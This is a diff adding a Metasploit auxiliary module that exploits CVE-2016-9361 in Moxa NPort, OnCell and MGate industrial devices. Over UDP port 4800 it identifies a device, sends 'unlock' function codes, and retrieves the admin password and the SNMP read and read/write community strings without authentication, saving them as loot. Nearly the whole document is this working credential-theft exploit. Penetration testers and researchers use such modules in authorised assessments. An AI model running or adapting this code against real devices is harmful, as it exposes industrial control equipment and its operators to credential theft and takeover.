|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + include Msf::Exploit::Remote::Udp |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Moxa Device Credential Retrieval', |
| 15 | + 'Description' => %q{ |
| 16 | + The Moxa protocol listens on 4800/UDP and will respond to broadcast |
| 17 | + or direct traffic. The service is known to be used on Moxa devices |
| 18 | + in the NPort, OnCell, and MGate product lines. Many devices with |
| 19 | + firmware versions older than 2017 or late 2016 allow admin credentials |
| 20 | + and SNMP read and read/write community strings to be retrieved without |
| 21 | + authentication. |
| 22 | +
|
| 23 | + This module is the work of Patrick DeSantis of Cisco Talos K. Reid |
| 24 | + Wightman. |
| 25 | +
|
| 26 | + Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5, |
| 27 | + and NPort 5110 firmware 2.6. |
| 28 | +
|
| 29 | + }, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Patrick DeSantis <p[at]t-r10t.com>', |
| 33 | + 'K. Reid Wightman <reid[at]revics-security.com>' |
| 34 | + ], |
| 35 | + |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + [ 'CVE', '2016-9361'], |
| 40 | + [ 'BID', '85965'], |
| 41 | + [ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'], |
| 42 | + [ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ], |
| 43 | + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02'] |
| 44 | + ], |
| 45 | + 'DisclosureDate' => 'Jul 28 2015')) |
| 46 | + |
| 47 | + register_options([ |
| 48 | + # Moxa protocol listens on 4800/UDP by default |
| 49 | + Opt::RPORT(4800), |
| 50 | + OptEnum.new("FUNCTION", [true, "Pull credentials or enumerate all function codes", "CREDS", |
| 51 | + [ |
| 52 | + "CREDS", |
| 53 | + "ENUM" |
| 54 | + ]]) |
| 55 | + ], self.class) |
| 56 | + end |
| 57 | + |
| 58 | + def fc() { |
| 59 | + # Function codes |
| 60 | + 'ident' => "\x01", # identify device |
| 61 | + 'name' => "\x10", # get the "server name" of the device |
| 62 | + 'netstat' => "\x14", # network activity of the device |
| 63 | + 'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate |
| 64 | + 'date_time' => "\x1a", # get the device date and time |
| 65 | + 'time_server' => "\x1b", # get the time server of device |
| 66 | + 'unlock2' => "\x1e", # "unlock" 6xxx series devices |
| 67 | + 'snmp_read' => "\x28", # snmp community strings |
| 68 | + 'pass' => "\x29", # admin password of some devices |
| 69 | + 'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx |
| 70 | + 'enum' => "enum" # mock fc to catch "ENUM" option |
| 71 | + } |
| 72 | + end |
| 73 | + |
| 74 | + def send_datagram(func, tail) |
| 75 | + if fc[func] == "\x01" |
| 76 | + # identify datagrams have a length of 8 bytes and no tail |
| 77 | + datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00" |
| 78 | + begin |
| 79 | + udp_sock.put(datagram) |
| 80 | + response = udp_sock.get(3) |
| 81 | + rescue ::Timeout::Error |
| 82 | + end |
| 83 | + format_output(response) |
| 84 | + # the last 16 bytes of the ident response are used as a form of auth for |
| 85 | + # function codes other than 0x01 |
| 86 | + tail = response[8..24] |
| 87 | + elsif fc[func] == "enum" |
| 88 | + for i in ("\x02".."\x80") do |
| 89 | + # start at 2 since 0 is invalid and 1 is ident |
| 90 | + datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail |
| 91 | + begin |
| 92 | + udp_sock.put(datagram) |
| 93 | + response = udp_sock.get(3) |
| 94 | + end |
| 95 | + if response[1] != "\x04" |
| 96 | + vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}") |
| 97 | + format_output(response) |
| 98 | + end |
| 99 | + end |
| 100 | + else |
| 101 | + # all non-ident datagrams have a len of 14 bytes and include a tail that |
| 102 | + # is comprised of bytes obtained during the ident |
| 103 | + datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail |
| 104 | + begin |
| 105 | + udp_sock.put(datagram) |
| 106 | + response = udp_sock.get(3) |
| 107 | + if valid_resp(fc[func], response) == -1 |
| 108 | + # invalid response, so don't bother trying to parse it |
| 109 | + return |
| 110 | + end |
| 111 | + if fc[func] == "\x2c" |
| 112 | + # try this, note it may fail |
| 113 | + get_creds(response) |
| 114 | + end |
| 115 | + if fc[func] == "\x29" |
| 116 | + # try this, note it may fail |
| 117 | + get_pass(response) |
| 118 | + end |
| 119 | + if fc[func] == "\x28" |
| 120 | + # try this, note it may fail |
| 121 | + get_snmp_read(response) |
| 122 | + end |
| 123 | + rescue ::Timeout::Error |
| 124 | + end |
| 125 | + format_output(response) |
| 126 | + end |
| 127 | + end |
| 128 | + |
| 129 | + # helper function for extracting strings from payload |
| 130 | + def get_string(data) |
| 131 | + str_end = data.index("\x00") |
| 132 | + return data[0..str_end] |
| 133 | + end |
| 134 | + |
| 135 | + # helper function for extracting password from 0x29 FC response |
| 136 | + def get_pass(response) |
| 137 | + if response.length() < 200 |
| 138 | + print_status("get_pass failed: response not long enough") |
| 139 | + return |
| 140 | + end |
| 141 | + pass = get_string(response[200..-1]) |
| 142 | + print_status("password retrieved: #{pass}") |
| 143 | + store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass) |
| 144 | + return pass |
| 145 | + end |
| 146 | + |
| 147 | + # helper function for extracting snmp community from 0x28 FC response |
| 148 | + def get_snmp_read(response) |
| 149 | + if response.length() < 24 |
| 150 | + print_status("get_snmp_read failed: response not long enough") |
| 151 | + return |
| 152 | + end |
| 153 | + snmp_string = get_string(response[24..-1]) |
| 154 | + print_status("snmp community retrieved: #{snmp_string}") |
| 155 | + store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string) |
| 156 | + end |
| 157 | + |
| 158 | + # helper function for extracting snmp community from 0x2C FC response |
| 159 | + def get_snmp_write(response) |
| 160 | + if response.length() < 64 |
| 161 | + print_status("get_snmp_write failed: response not long enough") |
| 162 | + return |
| 163 | + end |
| 164 | + snmp_string = get_string(response[64..-1]) |
| 165 | + print_status("snmp read/write community retrieved: #{snmp_string}") |
| 166 | + store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string) |
| 167 | + end |
| 168 | + |
| 169 | + # helper function for extracting snmp and pass from 0x2C FC response |
| 170 | + # Note that 0x2C response is basically 0x28 and 0x29 mashed together |
| 171 | + def get_creds(response) |
| 172 | + if response.length() < 200 |
| 173 | + # attempt failed. device may not be unlocked |
| 174 | + print_status("get_creds failed: response not long enough. Will fall back to other functions") |
| 175 | + return -1 |
| 176 | + end |
| 177 | + get_snmp_read(response) |
| 178 | + get_snmp_write(response) |
| 179 | + get_pass(response) |
| 180 | + end |
| 181 | + |
| 182 | + # helper function to verify that the response was actually for our request |
| 183 | + # Simply makes sure the response function code has most significant bit |
| 184 | + # of the request number set |
| 185 | + # returns 0 if everything is ok |
| 186 | + # returns -1 if functions don't match |
| 187 | + def valid_resp(func, resp) |
| 188 | + # get the query function code to an integer |
| 189 | + qfc = func.unpack("C")[0] |
| 190 | + # make the response function code an integer |
| 191 | + rfc = resp[0].unpack("C")[0] |
| 192 | + if rfc == (qfc + 0x80) |
| 193 | + return 0 |
| 194 | + else |
| 195 | + return -1 |
| 196 | + end |
| 197 | + end |
| 198 | + |
| 199 | + def format_output(resp) |
| 200 | + # output response bytes as hexdump |
| 201 | + vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}") |
| 202 | + end |
| 203 | + def check |
| 204 | + connect_udp |
| 205 | + |
| 206 | + begin |
| 207 | + # send the identify command |
| 208 | + udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00") |
| 209 | + response = udp_sock.get(3) |
| 210 | + end |
| 211 | + |
| 212 | + if response |
| 213 | + # A valid response is 24 bytes, starts with 0x81, and contains the values |
| 214 | + # 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16. |
| 215 | + if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24 |
| 216 | + format_output(response) |
| 217 | + return Exploit::CheckCode::Appears |
| 218 | + end |
| 219 | + else |
| 220 | + vprint_error("Unknown response") |
| 221 | + return Exploit::CheckCode::Unknown |
| 222 | + end |
| 223 | + cleanup |
| 224 | + end |
| 225 | + |
| 226 | + def run |
| 227 | + function = datastore["FUNCTION"] |
| 228 | + |
| 229 | + connect_udp |
| 230 | + |
| 231 | + # identify the device and get bytes for the "tail" |
| 232 | + tail = send_datagram('ident', nil) |
| 233 | + |
| 234 | + # get the "server name" from the device |
| 235 | + send_datagram('name', tail) |
| 236 | + |
| 237 | + # "unlock" the device |
| 238 | + # We send both versions of the unlock FC, this doesn't seem |
| 239 | + # to hurt anything on any devices tested |
| 240 | + send_datagram('unlock1', tail) |
| 241 | + send_datagram('unlock2', tail) |
| 242 | + |
| 243 | + if function == "CREDS" |
| 244 | + # grab data |
| 245 | + send_datagram('all_creds', tail) |
| 246 | + send_datagram('snmp_read', tail) |
| 247 | + send_datagram('pass', tail) |
| 248 | + elsif function == "ENUM" |
| 249 | + send_datagram('enum', tail) |
| 250 | + else |
| 251 | + print_error("Invalid FUNCTION") |
| 252 | + end |
| 253 | + |
| 254 | + disconnect_udp |
| 255 | + end |
| 256 | +end |
0 commit comments